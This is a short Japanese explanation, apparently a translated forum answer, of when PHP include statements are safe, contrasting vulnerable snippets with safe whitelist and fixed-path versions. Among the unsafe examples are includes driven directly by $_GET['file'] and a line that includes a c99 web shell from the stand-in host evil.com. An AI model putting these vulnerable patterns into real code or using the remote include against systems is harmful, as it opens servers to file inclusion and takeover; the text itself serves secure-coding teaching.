それはすべて、実装方法に依存します。パスを具体的に設定すると、安全です。サニタイズやチェックを行わずにユーザー入力によってファイル パスを決定できるようにすると、攻撃が発生する可能性があります。
安全でない(ディレクトリ トラバーサル)
<?php
include($_GET['file']);
?>
安全でない( URL fopen - 有効な場合)
<?php
include('http://evil.com/c99shell.php');
?>
安全でない
<?php
include('./some_dir/' . $_GET['file']);
?>
部分的に安全でない ( *.php ファイルは脆弱です )
<?php
include('./some_dir/' . $_GET['file'] . '.php');
?>
安全(ただし、なぜ誰かがこれを行うのかはわかりません。)
<?php
$allowed = array(
'somefile.php',
'someotherfile.php'
);
if (in_array(basename($_GET['file']), $allowed)) {
include('./includes/' . basename($_GET['file']));
}
?>
安全
<?php
include('./includes/somefile.php');
?>